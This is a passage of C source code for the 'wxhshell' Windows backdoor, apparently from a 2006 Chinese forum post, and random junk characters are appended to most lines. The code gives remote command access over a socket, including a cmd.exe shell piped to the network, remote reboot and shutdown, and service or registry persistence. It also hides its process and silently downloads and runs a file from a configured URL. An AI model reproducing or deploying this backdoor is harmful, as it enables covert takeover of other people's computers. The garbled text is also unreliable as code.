yvnvIy  
    switch(cmd[0]) { !P6?nS  
  ;Q[E>j?w=  
  // 帮助 q3|SZoN  
  case '?': { BG6Lky/omz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xFA`sAucr  
    break; ZbH_h]1$D  
  } j_b/66JyN  
  // 安装 Zj0h0Vt  
  case 'i': { 7>EMr}f C  
    if(Install()) rAD4}A_w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4z^~,7J^  
    else 5H( ]"C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w*u.z(:a`  
    break; iL~(BnsF  
    } <1`MjP*w  
  // 卸载 Of eM;)  
  case 'r': { INRRA  
    if(Uninstall()) },O7NSG<o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8L`wib2  
    else 1\/~>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |{rhks~  
    break; [lz H%0 V  
    } z*o2jz?t4  
  // 显示 wxhshell 所在路径 \JP9lJ3<  
  case 'p': { 8rNf4]5@X(  
    char svExeFile[MAX_PATH]; }$ a *XY1  
    strcpy(svExeFile,"\n\r"); EWWCh0 {  
      strcat(svExeFile,ExeFile); v(,YqT>q@U  
        send(wsh,svExeFile,strlen(svExeFile),0); cq/@ng*o  
    break; y"H(F,(N  
    } tn|H~iF{  
  // 重启 V Y@`)  
  case 'b': { WJ\,Y} J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {9~3y2:  
    if(Boot(REBOOT)) vpdT2/F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I~-sBMm(w  
    else { 6~6 vwp  
    closesocket(wsh); xSq+>,b  
    ExitThread(0); )H&ZHaO,_  
    } }x_:v!G  
    break; {H 3wL  
    } ]=Wq&~  
  // 关机 S5cs(}Bq  
  case 'd': {  7uzc1}r  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K'[kl'  
    if(Boot(SHUTDOWN)) Z,>owoP4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (T.j3@Ko  
    else { ixqvX4vv,B  
    closesocket(wsh); |WgFLF~k  
    ExitThread(0); a24(9(yh  
    } 6?/f $,v  
    break; /KlSI<T@  
    } )1<GSr9  
  // 获取shell oF s)UR  
  case 's': { xzf/W+.>.  
    CmdShell(wsh); ~e5E%bXxC  
    closesocket(wsh); O1oh,~W  
    ExitThread(0); t*-_MG  
    break; 5K =>x<  
  } #z c$cr  
  // 退出 ]hbrzv o  
  case 'x': { &b]_#c   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 02^Nf7DMR  
    CloseIt(wsh); ;r XZ?"  
    break; uzS;&-nA  
    } _iu^VK,}  
  // 离开 k?Njge6@  
  case 'q': { u\f Qa QV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k40`,;}9  
    closesocket(wsh); 6-\M }xq?  
    WSACleanup(); 6dRvx;d  
    exit(1); OZe`>Q6  
    break; - P4X@s_;  
        } 5&]a8p{  
  } ?VyiR40-Cx  
  } T5_rPz  
_t6 .9CXl  
  // 提示信息 mzf^`/NO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P+rDln {  
} PE6ZzxR|U<  
  } c3O&sa V!  
G6X5`eLQ  
  return; i,l$1g-i  
} Z{_YH7_  
(?P\;yDG  
// shell模块句柄 z/pxZ B ~"  
int CmdShell(SOCKET sock) 0 R>!jw  
{ O#)YbaE  
STARTUPINFO si; .gCun_td#  
ZeroMemory(&si,sizeof(si)); hh-sm8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'Ojxzz*tT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; so@ijl4{Z  
PROCESS_INFORMATION ProcessInfo; -hGLGF??  
char cmdline[]="cmd"; $8Gj9mw4e'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); fD2 N}  
  return 0; Na+3aM%%  
} Qgq VbJP"  
|sAl k,8s  
// 自身启动模式 !@FzP@  
int StartFromService(void) QPB ^%8  
{ V:lKF')  
typedef struct 3.Jk-:u %m  
{ nMBF/75  
  DWORD ExitStatus; AzSmfEaU0  
  DWORD PebBaseAddress; tjcsT>  
  DWORD AffinityMask; -e_pw,5c '  
  DWORD BasePriority; +_ $!9m  
  ULONG UniqueProcessId; Ag;Ybk[  
  ULONG InheritedFromUniqueProcessId; Hr*xAx  
}   PROCESS_BASIC_INFORMATION; 2xv[cpVi  
Q|7m9~  
PROCNTQSIP NtQueryInformationProcess; )p{,5"0u  
p }3$7CR/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R^yh,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 43!E>mq  
UDlM?r:f  
  HANDLE             hProcess; TjjR% 3  
  PROCESS_BASIC_INFORMATION pbi; i`!>zl+D  
ziv*4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e8k|%m<Sp  
  if(NULL == hInst ) return 0; Dp?lgw  
9e;:(jl^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d}@n,3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k: z)Sw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7H?lR~w  
$Q=S`z=  
  if (!NtQueryInformationProcess) return 0; jN/snU2\0  
x}uDW   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JcC2Zn6  
  if(!hProcess) return 0; Fh}GJE   
NH+N+4dEO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #`%V/#YK  
sl)]yCD|5  
  CloseHandle(hProcess); m~gcc  
!#PA#Q|cO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %kuUQ%W1  
if(hProcess==NULL) return 0; 43*;"w=  
D4T(Dce  
HMODULE hMod; |W5lhx0U  
char procName[255]; Tz7|OV_W$  
unsigned long cbNeeded; USKC,&6&}  
<'~6L#>,<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O:#/To'  
-gv[u,R  
  CloseHandle(hProcess); %Lp#2?*  
% "^CrG  
if(strstr(procName,"services")) return 1; // 以服务启动 O{EbL5p  
/{-J_+u*%  
  return 0; // 注册表启动 -`PLewvX  
} MTn}]blH  
C-H6l6,  
// 主模块 BuOe'$F 0t  
int StartWxhshell(LPSTR lpCmdLine) ;7(vqm<V2~  
{ w NMA)S  
  SOCKET wsl; vg5fMH9ZZ  
BOOL val=TRUE; e4;h*IQK  
  int port=0; ;ao <{i?  
  struct sockaddr_in door; 03!#99  
E4<#6q  
  if(wscfg.ws_autoins) Install(); -9R.mG  
~oRT@E  
port=atoi(lpCmdLine); pJ/{X=y  
<WL] (-9I:  
if(port<=0) port=wscfg.ws_port; ?8q4texf[  
VgS2_TU  
  WSADATA data; )00jRuF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w=thaF.  
;6`7 \  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [>lQi X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &H2j3De  
  door.sin_family = AF_INET; ?&POVf>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 22`e7  
  door.sin_port = htons(port); f+2mX"Z[F  
fdgjTX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1vCVTuRF  
closesocket(wsl); Z.N9e  
return 1; k-sBf Jy\  
} CH$* =3M  
0bjZwC4J  
  if(listen(wsl,2) == INVALID_SOCKET) { >bg{  
closesocket(wsl); Vr #o]v  
return 1; 7/dp_I}cO  
} b6'ZVB  
  Wxhshell(wsl); afjEN y1  
  WSACleanup(); \<\147&)r  
6ciA|J'MR  
return 0; 5?TX.h9B4  
)9+H[  
} E>F6!qYm  
peVzF'F  
// 以NT服务方式启动 #/)U0 IR)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^%qQ)>I=j  
{ ,n$HTWa@0  
DWORD   status = 0; 9<5ii  
  DWORD   specificError = 0xfffffff; F mQiy+.|  
QG09=GQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T )bMHk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zvT8r(<n}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $Y%,?>AL<  
  serviceStatus.dwWin32ExitCode     = 0; 3H%bbFy  
  serviceStatus.dwServiceSpecificExitCode = 0; S~GS:E#  
  serviceStatus.dwCheckPoint       = 0; ?Xq kf>  
  serviceStatus.dwWaitHint       = 0; QV _a M2  
,N8SP 'R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N'?#g`*KW  
  if (hServiceStatusHandle==0) return; K\5/||gi  
ge% tj O  
status = GetLastError(); m21H68y  
  if (status!=NO_ERROR) 4cDe'9 LA  
{ BuS[(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H WFnIUv  
    serviceStatus.dwCheckPoint       = 0; ;Ehv1{;  
    serviceStatus.dwWaitHint       = 0; "}:SXAZ5`  
    serviceStatus.dwWin32ExitCode     = status; :PB W=W  
    serviceStatus.dwServiceSpecificExitCode = specificError; m2Wi "X(I_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); J?f7!F:8  
    return; mA5sK?W  
  } \Lm`jU(:l  
"f-HOd\=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HcHwvf6y  
  serviceStatus.dwCheckPoint       = 0; vP,$S^7$  
  serviceStatus.dwWaitHint       = 0; \sS0@gnDI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l)Mi?B~N  
} Oo9'  
5zH_yZ@+  
// 处理NT服务事件,比如:启动、停止 3/8<dc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y5<W"[B!  
{ :%IB34e  
switch(fdwControl) 5PE}3he:  
{ i_p-|I:hQ  
case SERVICE_CONTROL_STOP: `Cz_^>]|=  
  serviceStatus.dwWin32ExitCode = 0; KR>o 2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :71St '  
  serviceStatus.dwCheckPoint   = 0; [f=Y*=u9,  
  serviceStatus.dwWaitHint     = 0; Kae-Y  
  { I~,bZA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _BG7 JvI  
  } ~zQxfl/  
  return; xU |8.,@  
case SERVICE_CONTROL_PAUSE: {6>$w/+~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0_-P~^A  
  break; 'v5q/l  
case SERVICE_CONTROL_CONTINUE: B\+uRiD8w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 18> v\Hi<  
  break; K8h\T4  
case SERVICE_CONTROL_INTERROGATE: W?du ]  
  break; JG{`tTu  
}; (dHjf;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0+KSD{  
} $rPQ%2eF4  
9yj'->dL  
// 标准应用程序主函数 XjTu`?Na;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Xl E0oN~{  
{ -a7BVEFts  
d5n>2iO  
// 获取操作系统版本 lF\2a&YRbn  
OsIsNt=GetOsVer(); S(_DR 8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8I0G%hD  
."ytBF  
  // 从命令行安装 }+K=>.  
  if(strpbrk(lpCmdLine,"iI")) Install(); @GF3g=  
Fp>nu_-"  
  // 下载执行文件 LXf|n  
if(wscfg.ws_downexe) { 40 zO4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mcxD#+H 3  
  WinExec(wscfg.ws_filenam,SW_HIDE); )QI#szv6  
} 7nZ3u _~  
Nwk^r75lq  
if(!OsIsNt) { \Npvm49  
// 如果时win9x,隐藏进程并且设置为注册表启动 ow#8oUf=  
HideProc(); ]N:Wt2  
StartWxhshell(lpCmdLine); E|W7IgS  
} Us% _'}(/U  
else ?h,.1Tb  
  if(StartFromService()) KIY9?B=+  
  // 以服务方式启动 o 9d|XY_  
  StartServiceCtrlDispatcher(DispatchTable); ~iq=J5IN#  
else DkW^gt  
  // 普通方式启动 \+k~p:d_8  
  StartWxhshell(lpCmdLine); {HjJ9ZGQ  
\ZBz]rh*  
return 0; \xmDkWzE  
}
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只看该作者 1 发表于: 2006-10-10
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